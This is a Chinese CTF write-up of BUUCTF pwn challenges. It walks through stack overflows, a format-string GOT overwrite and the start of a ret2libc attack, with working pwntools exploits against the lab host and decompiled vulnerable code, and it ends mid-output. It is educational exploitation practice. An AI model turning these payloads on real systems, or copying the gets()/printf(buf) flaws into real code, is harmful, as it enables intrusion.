BUUCTF 刷题笔记——PWN 1
test_your_nc
- 启动靶机后如图,有一个域名地址及端口,此外上方还有一个测试文件。
- 基于效率考量,这里不对尚未展现知识点的测试文件做分析,而在 Kali 中直接使用 nc 命令来对靶机地址端口建立连接并监听。连接后使用 ls 命令即可列出目录数据,可以看到其中有一个名为 flag 的文件,直接使用 cat 命令打开即可。
rip
启动靶机后与前一关类似,一个文件以及一个地址。
直接使用 nc 命令连接一下,当输入 ls 企图列目录时却返回了如下文字同时退出了。对于任意命令均如此,且返回文字的第二行就是我们输入的命令内容,这样一来就有趣了。
那么在 BUU 上提供的测试文件就派上用场了,这个文件实际上是 Linux 系统中的可执行文件,而靶机中则运行着该文件。现在我们要做的就是在该文件中找到漏洞,进而实现对靶机的攻击。首先使用 IDA 对文件进行反编译,打开文件按 F5 即可。在主函数中没有太多特别之处,但是根据这些函数就可以理解直接连接时靶机的响应。
值得注意的是,文件中还存在一个 fun() 函数:
int fun()
{
return system("/bin/sh");
}
该函数调用 system() 函数打开了 Linux 系统的 Shell,如此一来我们传入的每一段字符都将作为命令被执行,这也是前一关中可以直接使用命令打开 flag 的原因。而现在的任务就是让该函数在程序中被执行。
想在执行过程中插入并运行函数,就有必要了解一下程序中的函数调用机制,当然在这里只分析其中栈的部分。在 64 位 CPU 中常使用 rsp、rbp、rip 三个寄存器来完成栈操作,每个函数所占用的栈空间称为一个栈帧,其中 rsp 永远指向栈帧的栈顶,rbp 则永远指向栈帧的栈底,而本关标题所示的 rip 则指向即将执行的程序指令。在调用函数时,函数的参数会首先被压栈(不过现在大部分优先直接存入寄存器),该部分作为实参值将会赋给被调用函数中的形参。然后返回地址会被压入栈中,待被调用函数执行完成,将依据此地址回归原函数相应位置,也将是我们的重点利用对象。接下来,属于被调用函数的栈帧应该就要进场了,不过这个新栈帧前还需要占用一份空间要用来保存原来的 rbp 值,然后 rbp 才正式开始指向这个新栈底。至于这么做的原因,自然就是待函数调用结束栈帧也要恢复成原来的样子,届时就需要将旧的 rbp 值重新存入寄存器。随后压栈的就是被调用函数的局部变量了,一个有趣的现象在于,当变量的值所需空间大于变量所申请的空间时,数据会继续向栈底方向存入,旧 rbp 值所在地首当其冲,若空间还不够,返回地址就将被修改,这就是所谓的栈溢出。函数调用中的栈帧关系如图所示:
那么问题来了,如果返回地址正好被修改为了前述 fun() 函数的地址,那程序不就被攻破了!因此我们将对主函数中的局部变量下手,值得注意的是主函数也是被系统调用的函数而已,完全遵从上述规则。
int __cdecl main(int argc, const char **argv, const char **envp) { char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
对局部变量 s 的复制使用的是 gets() 函数,该函数并不会限制读取字符长度,因此我们完全可以向其输入超额字符,只需对局部变量与旧 rbp 值所占空间作判断即可精准设定返回地址的值!
局部变量可直接看出占了 15 字节,而 rbp 值所占空间则需要依据可执行文件位数来判断,在 Kali 中对该文件使用 file 命令即可知道该文件为 64 位文件。古话说得好,八八六十四,因此占用了 8 个字节。
综上只需填充 23 字节数据后接 fun() 函数地址即可让程序跳至该函数运行。
由于无法方便地从命令行将参数传入,因此将利用 pwntools 构造本人的第一个 exp:
from pwn import *
#p = remote('node4.buuoj.cn', 29370)
p = process('./pwn1')
payload = b'a' * (15 + 8) + p64(0x401186)
p.sendline(payload)
p.interactive()
其中由于 p64(0x401187) 为 bytes 类型数据,因此前置字符需要加上 b 作为前缀才能使加号有效。上述 exp 在本地运行正常,可以看出在主函数结束之后 fun() 函数被成功调用。
很遗憾,执行远程时失败了:
└─$ python exp.py
[+] Opening connection to node4.buuoj.cn on port 29370: Done
[] Switching to interactive mode
timeout: the monitored command dumped core
[] Got EOF while reading in interactive
经 BUU 靶机提示可知程序运行于 Ubuntu 18 环境中,而在该环境中的 64 位程序中调用 printf()、system() 等函数时需严格遵循栈的 16 字节对齐,评判依据为 rsp&0xf==0,即末位字节为零。实测将地址修改为 0x401187 或者 0x40118a 即可,这样做的原理实际上就是调用 fun() 时避开函数初始的 push 操作以保持正常返回时的 rsp 值(只要栈不变,栈顶指针自然也就不会变)。当然,由于 0x40118a 处开始导入 system() 函数的参数,因此自此的操作均不能被跳过。
此外,还有一种解决方案,就是在 fun() 函数调用前,在 payload 中加入一些别的指令的地址,完成一次或任意奇数次对栈的操作同时返回,即可平衡 fun() 函数初始的 push 操作。比较合适的就是各函数结尾的 retn 指令,单次栈操作执行后便结束返回,无其他指令干扰,可控性强,我们一直用他。
不过,在该环境下还存在一种奇怪的现象,程序会直接忽略调用栈中执行 leave 指令时对 rbp 的 pop 操作,也就是说,甚至可以在 payload 中省去用于填补 rbp 的那八个字节,然后直接跳转至函数调用即可。由于笔者在许多相同环境中均未成功复现该情况,且 BUU 靶机环境并不能提供调试,因此该现象的原因暂时未知。望日后技术成熟,我可以回答这个问题。
因此,远程执行时就有必要使用如下 exp 了,上述提到的可用 payload 也一起放在注释中作为参考。
from pwn import *
p = remote('node4.buuoj.cn', 29370)
#p = process('./pwn1')
payload = b'a' * (15 + 8) + p64(0x401187)
#payload = b'a' * (15 + 8) + p64(0x40118a)
#payload = b'a' * (15 + 8) + p64(0x401185) + p64(0x401186)
#payload = b'a' * (15 + 8) + p64(0x401185) + p64(0x401198) + p64(0x401185) + p64(0x401186)
#payload = b'a' * 15 + p64(0x401186) #原因未知的特殊情况
p.sendline(payload)
p.interactive()
执行结果如图,运行后直接 cat flag 即可。
warmup_csaw_2016
启动靶机,提供文件与地址,并且提示环境为 Ubuntu 16,因此应该不存在前述关卡的特殊问题。
直接使用 IDA 进行反编译,F5 查看伪代码发现主函数中返回了一个 gets() 函数。老朋友了,有这个函数就好说了,栈溢出具有初步可行性。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
继续 Shift + F12 查看字符串窗口,寻找可供利用的字符串,一眼看中关键字符串:cat flag.txt,该字符串作为命令可直接打开 flag,双击发现该字符串被 sub_40060D 函数调用。
双击便可查看该函数,发现该函数直接调用 system() 执行了该字符串,因此只需通过栈溢出执行该函数即可。
int sub_40060D()
{
return system("cat flag.txt");
}
由主函数中 v5 数组后的 [rbp-40h] 可知数组与栈底指针偏离了 40h 字节,加上返回处 rbp 占用的 8 字节,可知本题填充 48h 字节数据后再指定函数位置即可实现指定函数调用,构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 28844)
payload = b'a' * 0x48 + p64(0x40060D)
io.sendline(payload)
io.interactive()
此外,关于调用函数的地址,由于只需成功执行关键函数即可,所以并不一定要指定为调用函数的起始地址。与前一关相同,使用下图三个地址中任意一个均可。当然,这里不需要考虑有关栈操作的问题,毕竟是 Ubuntu 16.
ciscn_2019_n_1
启动靶机,大致环境依旧没变,但是操作系统……Ubuntu 18
直接 IDA 反编译并查看伪代码,主函数略显朴素,值得关注的是其调用了一个 func() 函数,双击查看该函数,发现亮点:system("cat /flag"),因此现在的任务就是让该语句成功执行!
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
func();
return 0;
}int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
逻辑绕过
大致审计一遍代码,要成功调用 system("cat /flag") 则需要让变量 v2 的值等于 11.28125。代码中并没有为 v2 赋值的语句,但是有给变量 v1 赋值的 gets() 函数,老朋友了。观察这两个局部变量在栈帧中的布局,变量 v2 处于栈底方向,即高地址处,因此利用 gets() 函数将数据溢出至 v2 并指定值为 11.28125 即可。
由变量在栈帧中的布局可知在 v1 填充 2ch 字节数据即可到达变量 v2,最后的问题便是如何把 11.28125 这个浮点型数据传入,参照之前的步骤可知传入数据的在内存中的十六进制表示即可。这一步可以自己计算,当然也可以使用 IDA 中现成的:找到函数中 v2==11.28125 的浮点数所在地即可,其中浮点比较指令为 ucomiss。
至此就可以解题了,构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 27651)
payload = b'a' * 0x2c + p64(0x41348000)
io.sendline(payload)
io.interactive()
直接跳转
虽然但是,其实之前的方法依然适用的,填充完所有变量并跨过 rbp 位后即可指定程序跳转,让其直接跳转至 system("cat /flag") 执行即可,跳转地址也直接在 IDA 中找到:0x4006BE。
庆幸的是虽然环境为 Ubuntu 18,但并没有遇到栈对齐的问题,应该是正好对其了。因此本题还可以使用如下 exp:
from pwn import *
io = remote('node4.buuoj.cn', 27651)
payload = b'a' * 0x38 + p64(0x4006BE)
io.sendline(payload)
io.interactive()
此外,其实本题文件还开启了 NX 保护,即栈上的数据不可做为代码执行,不过开启该保护完全不影响完成该题。为避免过多赘述,后续并不经常强调保护的问题。
└─$ checksec ciscn_2019_n_1
[*] '/home/h-t-m/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
pwn1_sctf_2016
不多废话,直接丢进 IDA 反编译,查看伪代码时提示需换用 32 位的应用打开,使用 file 一查,还真是,本题文件为 32 位的可执行程序。
换了程序打开后得到主函数的伪代码如下,可以看到仅仅调用了 vuln() 函数而已。
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
那么接下来的重点就是 vuln() 函数了,双击打开后,有点丰富。对函数中的代码作简要审计之后即可发现,虽然限制了写入数组 s 的数据长度,但是后面会将所有字符 I 替换为 you,因此字符为 I 的部分长度就会扩大为三倍,等于可输入的数据最大为 96 字节。
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
// 将数据存入字符数组 s 中,不过限制长度为 32 个字节
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
// 在 v4 与 v5 的起始地址之间写入 "you"
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
// 在 v6 与 v7 的起始地址之间写入 "I"
replace((std::string *)v3);
// 调用自定义函数将字符 "I" 全部替换为字符串 "you"
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
// 将替换后的字符串存入数组 s 中
return printf("So, %s\n", s);
}
Shift + F12 查看是否存在关键字符串,一眼相中 cat flag.txt,双击发现在 get_flag() 函数中被调用。在该函数直接调用了 system("cat fla.txt"),正是当前刚需,因此只需继续通过栈溢出让函数执行即可,可以看出函数起始地址为:0x8048F0D。
溢出的突破点则在前述的数组 s 中,在 IDA 中查看该变量偏移了 3ch 字节,又因为该程序为 32 位,所以 rbp 位占用 4 字节,故共偏移 64 字节。
因为字符替换的原因,输入 20 个字符 I 即可填充 60 字节栈空间,再输入 4 个任意字符填充后再指定函数跳转地址即可。因此构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 28980)
payload = b'I' * 20 + b'a' * 4 + p64(0x8048F0D)
io.sendline(payload)
io.interactive()
jarvisoj_level0
一个普通的 64 位程序,直接 IDA 反编译,F5 查看伪代码发现主函数依然十分简单,值得关注的是主函数返回的 vulnerable_function() 函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
这个 vulnerable_function() 函数就很有意思了,申请了 128 字节的局部变量 buf,然后通过 read() 函数读取并将长度限制为 0x200 字节的数据传入变量。可占用空间大于申请的空间,因此可以直接通过栈溢出执行指定函数。
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
Shift + F12 看看是否存在关键字符串,果然有:/bin/sh
顺势找出了 callsystem() 函数,该函数调用 system() 函数执行了 /bin/sh,都是老朋友了,待会儿跳转至该函数起始地址 0x400596 即可。
由伪代码可知变量 buf 相对栈帧的栈底偏移了 80h 个字节,加上 64 位程序的 8 字节 rbp 位,共偏移 88h 字节。因此构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 25339)
payload = b'a' * 0x88 + p64(0x400596)
io.sendline(payload)
io.interactive()
[第五空间2019 决赛]PWN5
又是一个 32 位程序,直接使用 32 位的 IDA 反编译 F5 查看伪代码,又是一段略长代码,需要稍微审计一下。程序会自动获取一个随机数,然后让我们输入用户名与密码,输入的用户名会之间使用 printf() 函数回显,而密码则取出整型数值后与内部随机数作比较,当值相等时,system() 函数被调用,问题解决。
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
// 获取随机数
read(fd, &dword_804C044, 4u);
// 将随机数存入 dword_804C044 中,用于后续密码比较
printf("your name:");
read(0, buf, 0x63u);
// 读取姓名并存入 buf 中,限制长度为 0x63 字节
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
// 读取密码并存入 nptr 中,限制长度为 0xF 字节
if ( atoi(nptr) == dword_804C044 )
// 取输入密码数据中的整形数值并于之前的随机数作比较
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
审计后可知,数据输入均被限制,栈溢出不可用。事实上,即使代码中不作限制,本题也不能使用栈溢出,因为文件开启了 Canary 保护,该保护机制会在局部变量与 rbp 位(32 位程序中称 ebp)之间添加一个 Canary 信息,当函数需要返回时会验证该信息是否合法,若非法则停止运行。
└─$ checksec ./pwn
[*] '/home/h-t-m/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
无法使用栈溢出来绕过比较语句的话,就该注意到 printf() 函数了,这里存在一个格式化字符串的漏洞。格式化字符串即可以在字符串中使用占位符 % 与转换指示符将不同类型的数据插入整合进字符串中,如指示符 d 用于整形,f 用于浮点型。这些数据都会以参数形式传入 printf() 函数中,该函数并不限制参数的数量,但是问题在于如果标志转换的数据位多余参数时,printf() 并不会停止载入数据,而是会继续向栈中取参数。若是使用 %n 则可以将已经打印的字符数输入至以当前数据内容为地址的空间中,也就是说完全可以利用这个漏洞对随机数进行写入篡改,只需将随机数所在的地址置于 %n 执行时的位置即可。那么首先就应该确认一下格式化执行时与字符串传入的偏移值,至于偏移值存在的原因:参数在 printf() 函数实际调用前便已经入栈,因此实际格式化后的字符串在栈中与原本参数位置存在偏移。可以传入如下格式化字符串检验偏移量:
AAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
其中 %08x 表示以八位十六进制形式输出当前位置之后的数据,数值不足 8 位的左侧用 0 补全,- 用于分割数据,由于只观察数据 AAAA 即可算出偏移量,因此可选用任意分隔符。此外对于 %08x 的个数则以能算出偏移量为底线,当然也可使用 p 替代 x,区别在于 p 会添加 0x 前缀,这并不影响解题。
传入上述格式化字符串后回显如下,可以看出数据 AAAA 到其十六进制形式数据 41414141 偏移量为 10 (四个字节)。
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
your name:AAAA-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
Hello,AAAA-ffffd088-00000063-00000000-f7ffdb40-00000003-f7fc34a0-00000001-00000000-00000001-41414141-3830252d
your passwd:
fail
[Inferior 1 (process 80552) exited normally]
手写 payload
接下来将随机数的地址信息写入,并从 41414141 处开始执行 %n 即可完成对于随机数的写入。随机数的地址信息可直接在 IDA 中查看,为:0x804C044
而要 %n 在对应位置执行只需使用 %10$n 即可,意为后移十个偏移,此时在此之前成功输出的字符即为随机数的地址值,占用四个字节,因此写入的随机数为 4。构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = p32(0x804c044) + b'%10$n'
io.sendline(payload)
io.sendline(str(4))
io.interactive()
有时候直接写入四个字节会带来一些问题,可以使用 hhn 来一个一个字节写入,那么前方的地址自然也就需要逐个列出。值得注意的是输出的字符变成四个地址,也就是每个字节写入的值为 0x10,因此密码为:0x10101010,构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = p32(0x804c044) + p32(0x804c045) + p32(0x804c046)+ p32(0x804c047)
payload += b'%10hhn%11hhn%12hhn%13hhn'
io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()
实测会发现上述 hhn 直接换成 n 依然可以,这是因为使用小端存储模式低位数据保存在内存低地址中,所以逐个字节写入时会不断将前一个数据本就为空的高位数据覆盖,从而使执行结果依然不变,不过将四个字节写入的顺序改动一下就可以发现差别所在。
fmtstr_payload
上述解法略显复杂,其实在 Pwntools 中(未介绍过,但是一直在用,也就是 Python 中导入的 pwn 包)有一个十分好用的函数:fmtstr_payload(),这个函数就是用来快速构造格式化字符串漏洞的 payload 的。
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
参数:
- offset:表示格式化字符串的偏移量。
- writes:表示需要利用 %n 写入的数据,采用字典形式。
- numbwritten:表示已经输出的字符个数,默认为 0。
- write_size:表示写入方式,是按字节 byte、按双字节 short 还是按四字节 int,对应着 hhn、hn 和 n,默认值是 byte。
- overflows:接受的溢出量。
- strategy:默认值为 small,有大量数据时可使用 fast。
返回值:直接返回 payload。
只需用到前两个参数即可获得本题的 payload,偏移量为 10,写入数据的字典形式为:{0x804c044:0x0223},这样随机数就会被设置为 0x0223,由此构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = fmtstr_payload(10,{0x804c044:0x0223})
io.sendline(payload)
io.sendline(str(0x0223))
io.interactive()
替换 atoi
本题还有一个值得一提的解法是将判断语句中的 atoi() 函数的地址替换为后面 system() 函数,这样我们输入的密码就会直接成为 system() 的参数,那么只要输入密码为 /bin/sh 不就要啥有啥了。但是,由于并不是通过 rip 来跳转执行,只能替换函数的具体地址且不能影响原调用指令的正常执行,所以在此之前就有必要了解一下程序对外部函数调用的过程。这里以 atoi() 函数为例,函数的调用首先是 call 指令,call 指令后跟的 _atoi 指向跳转指令表 PLT 中的一条跳转指令 jmp,该指令会执行跳转到对应的全局偏移表 GOT 中(图中 ds:off_804C034),而 GOT 表就是用来链接对应外部函数的。
所以在不影响正常调用流程的情况下修改函数地址就应该修改 GOT 表的内容,但是并不能直接修改为 system() 函数在 GOT 表中的地址,这里就涉及到 延迟绑定 的问题了。
所谓延迟绑定就是程序在第一次使用函数时才会进行绑定。如上方调用外部函数 atoi() 时,会跳转至 PLT 表中获取函数的 GOT 地址,而在函数第一次被调用时,GOT 表中数据会指回 PLT 表中的一个特定函数来获取 atoi() 函数的真实地址并存入 GOT 表中,此后调用 atoi() 将直接通过 GOT 表中所指向的真实地址调用该函数。所以 system() 函数在 GOT 表中的地址在程序执行后才能 动态 获取真实地址,因此应该修改为目标函数在对应 PLT 表的地址,让程序继续执行正规流程获得真实地址并调用。由此构造 exp 如下:
from pwn import *
io = remote('node4.buuoj.cn', 28255)
payload = fmtstr_payload(10,{0x804C034:0x8049080})
io.sendline(payload)
io.interactive()
如此一来人工寻找地址也稍显麻烦,我们依然可以使用现成的工具,直接使用代码解析本地文件来获取函数地址,相关代码的使用不多赘述。构造 exp 如下:
from pwn import * io = remote('node4.buuoj.cn', 28255)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload = fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.interactive()
ciscn_2019_c_1
这次机灵点,先在机器上把文件执行一遍,了解一下大致运行逻辑。文件执行之后会让我们选择功能,有加密解密与退出,加密则输入字符串后执行加密操作,解密则输出一段字符串通知我们自己完成,退出则终止程序。这样的话基本就是选择加密然后在输入的文本上做手脚了。
那就继续 IDA 反编译 F5 查看伪代码,熟悉文件的执行流程之后再审计代码就很轻松了,主函数基本遵从执行流程,这里主要审计负责读取数据并加密输出的 encrypt() 函数。该函数的加密逻辑为:小写字母与 0xD 异或,大写字母与 0xE 异或,数字与 0xF 异或。此外函数中还存在老朋友 gets() 函数,也就是说存在栈溢出漏洞。
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
// 数字与 0xF 异或
}
else
{
s[x] ^= 0xEu;
// 大写字母与 0xE 异或
}
}
else
{
s[x] ^= 0xDu;
// 小写字母与 0xD 异或
}
++x;
}
puts("Ciphertext");
return puts(s);
}
虽然说代码中明确存在栈溢出漏洞,但是很遗憾,函数列表中并没有找到 system() 这类函数,Shift + F12 也查不出什么关键字符串。不过,作为系统级函数,不论程序是否调用他,系统都会将其加载进内存,而只要找到其内存地址并执行指定字符串即可。Linux 下的 C 函数库称为 libc,因此该方法被称为 ret2libc。那么最重要的就是要寻找 system() 函数在内存中的真实地址,该地址等于 libc 在内存的加载位置(即基地址)加上偏移量。由于各函数在相同版本 libc 中的位置相对稳定,因此同一个函数在同一个版本 libc 中的偏移量也是确定的。所以我们可以突破现有已调用函数的地址,再突破突破该函数在 libc 中的偏移,这样就可以通过指定函数的偏移得出 libc 的版本与基地址,版本已知所有函数的偏移量就都已知,那不得要啥有啥。而且重要的是,为了便于内存管理,系统应用了内存分页机制,即将内存划分为若干大小为 4KB 的页,通过这个大小限定就可以看出,每页内存中的同一位置在不同页中对应的地址值(十六进制)的末三位均相等。所以,其实获得某个函数的真实地址时,通过地址末三位就已经基本可以确定其偏移了。那完蛋,要啥有啥!
要获得已有函数的真实地址以计算偏移量,这里从 puts() 函数下手,因为他在栈溢出点之前已被多次调用,因此其 GOT 表中存储的是其真实的内存地址,同时 puts() 自身就能用于输出,可以将他自己的地址作为参数直接输出,堪称最佳选择。要调用该函数首先考虑填充字符的问题,在 IDA 中查看栈溢出处变量距离栈帧底部 0x50 字节,加上 rbp 位共需填充 0x58 字节数据,此后添加函数地址即可实现跳转。
值得注意的是,程序还会对输入的字符串进行加密操作,由于已经知道加密逻辑,所以大可以提前设置好数据以确保加密后跳转地址依然有效。不过,程序中判断字符串长度使用的是 strlen() 函数,该函数以 \0 作为字符串结尾来计算长度,因此直接将凑数部分数据设为 \0 即可直接避免加密了。由上可以初步构造 payload 的填充部分:
payload = b'\0' * 0x58
接下来需要先考虑 puts() 函数参数的问题,此前提过,函数调用时,参数先入栈,然后紧接着的是返回地址、rbp、局部变量,但是在 64 位系统中,前六个参数会依次放入 rdi、rsi、rdx、rcx、r8、r9 六个寄存器中毕竟寄存器他太快了,因此要将地址作为参数传入的话,就必须想办法把数据放入寄存器中去。而参数又必须在调用函数之前就传入,因此在填充完 0x58 位数据后因先让程序跳转到一个对 rdi 寄存器执行 pop 操作的指令,并且该指令后应依然存在 ret 指令(该指令让 eip 指向当前栈顶所存储的那个地址,这也是程序能按地址返回的原因),以便程序继续跳转以完成 puts() 函数的调用,这样的一对指令通常被称之为 gadget。至于去哪里找符合要求的 gadget,可以借助 ROPgadget 工具,该工具可对文件进行反编译并列出所有指令及其地址,对其结果集使用 Linux 中的 grep 命令来搜索指令即可找到我们需要的 gadget,执行结果如下:
└─$ ROPgadget --binary ./ciscn_2019_c_1 | grep 'pop rdi'
0x0000000000400c83 : pop rdi ; ret
上述命令后紧接着 ret,十分完美,但是有一个问题:将该地址与 IDA 中的地址对照,会发现 IDA 中并没有具体到该命令的地址,而所查出来的 gadget 地址所在的位置应该是 pop r15 指令的一部分:
在 IDA 中查看 pop r15 的字节码为 0x41 0x5F,而通过其他文件可进一步验证验证 pop rdi 的字节码为 0x5f,很不巧,刚好对上。因此让程序跳转到这并且栈中紧接着 puts() 函数的 GOT 地址就可以将其作为参数存入 rdi 寄存器了(注意函数参数是一个指针),自带的 ret 指令也能让程序继续沿着栈中下一条地址所指向的指令运行,所以在栈中紧接 puts 函数的地址即可成功完成该函数的传参调用!至于 puts 函数的地址的选择并无区别,取代码中任意对于该函数的 call 命令均可,为避免做选择,这里使用 puts 函数的 PLT 地址。完善 payload 如下:
elf = ELF('./ciscn_2019_c_1')
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400c83
payload = b'\0' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
有了以上 payload 就可以先构造一个 exp 用来获取程序在靶机上执行的真实函数地址了,当然这次稍微注意一下 exp 与靶机的交互处理,特别是接收数据部分,由于加密函数最后还执行了两次 puts(),而栈溢出则是在这之后,因此需先把前两行数据接收了,第三行数据才是输出的地址。此外,接收的地址是字节码形式的,虽然可以获取之后再计算,但建议按如下 exp 将地址转换成十六进制形式的,好看!
from pwn import *
io = remote('node4.buuoj.cn',28501)
elf = ELF('./ciscn_2019_c_1')puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi = 0x400c83payload = b'\0' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
io.sendlineafter(b"choice!",b"1")
io.sendlineafter(b"encrypted\n",payload)在读取相应字符串字节码之后再发送数据,不加 b 会弹警告
io.recvline()
io.recvline()接收并丢弃多余信息
print(io.recvline()) # 输出字节码
puts_addr = hex(u64(io.recvline()[:-1].ljust(8,b'\0')))
print(puts_addr)
十六进制形式输出,[:-1] 去除尾部换行符,ljust() 取 8 字节地址,不足则左对齐补零
执行结果如下,可知真实地址为:0x7f5e331aa9c0
└─$ python exp.py
[+] Opening connection to node4.buuoj.cn on port 28501: Done
[] '/home/h-t-m/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x7f5e331aa9c0
[] Closed connection to node4.buuoj.cn port 28501
真实地址到手了,末三位为 9c0,只要指定哪个版本 puts() 函数偏移地址页满足这三位即可,当然不可能每个版本做测试,直接使用网上大佬们整理的数据库来查询即可,通过 这个网站 即可完成。如果觉得该网站数据更新太慢,可以使用 这个网站,数据是多了,重复率也高了,因此可能需要获取多个函数的地址来准确查找。鉴于靶机东西也没这么新,效率考量,这里使用前者,查询结果如图:
至于是 i386 还是 amd64,前者一般代表 32 位处理器,而后者则为 64 位,本地 checksec 一下或 file 一下就可知道文件 64 位,因此果断选择 amd64。
确定好版本之后再根据该版本各函数的偏移量即可获取目标函数在内存中的地址,而函数偏移量的数据此类网站中也都又提供,如下即为靶机所用版本几个重要函数的偏移量,我们所需要的数据就是 system() 的偏移 0x04f440 以及 puts() 的偏移 0x0809c0,所以函数的真实地址为:0x7f5e331aa9c0 - 0x0809c0 + 0x04f440 = 0x7f5e33179440
后面 different 数据为各函数距离当前选中函数的偏移量,该值与 puts() 函数真实地址直接相加也可得出结果,快了那么一丝丝。
虽然成功突破了 system() 函数很开心,但是还是要面对一个严重的问题,我们并没有现成的 /bin/sh 等字符串,空拿个函数没法用啊!不过,文件中虽然确实没有能用的字符串,但是并不代表共同存在于内存中的可随时调用的 libc 中不存在,事实上,它还真就有,可以在本地使用 strings 命令检查一下。那么该如何知道在靶机中的 libc 中的 /bin.sh 的位置呢,其实在查询 system() 时,便已经得到答案了。在浏览器列出一些重要函数偏移中,最后一行是一个特殊的存在,因为它根本不是一个函数,而是该版本 libc 中存在的字符串 /bin/sh,所以,在内存地址 0x7f5e331aa9c0 + 0x1334da = 0x7f5e332dde9a 上,就有我们需要的字符串。
现在好了,有 system() 有 /bin/sh,调用流程参考之前对 puts() 函数的手动传参调用,然后就会出问题。这里就牵扯到 ASLR,即地址空间配置随机化,该功能会将栈基地址、libc 基地址等随机化,而且在 Linux 中默认开启,这就造成了每次执行程序都会发现地址不一样,如下连续两次获取 puts() 函数真实地址结果并不相同。也就是说前文所计算的真实地址其实并没有什么用,因为他再真实也早已成为过去。不过所幸该随机化依然遵循分页机制,即末三位不变,因此偏移量的计算依然正确,可以放心食用。
└─$ python exp.py
[+] Opening connection to node4.buuoj.cn on port 28501: Done
[] '/home/h-t-m/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x7ff7111929c0
[] Closed connection to node4.buuoj.cn port 28501
└─$ python exp.py
[+] Opening connection to node4.buuoj.cn on port 28501: Done
[] '/home/h-t-m/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
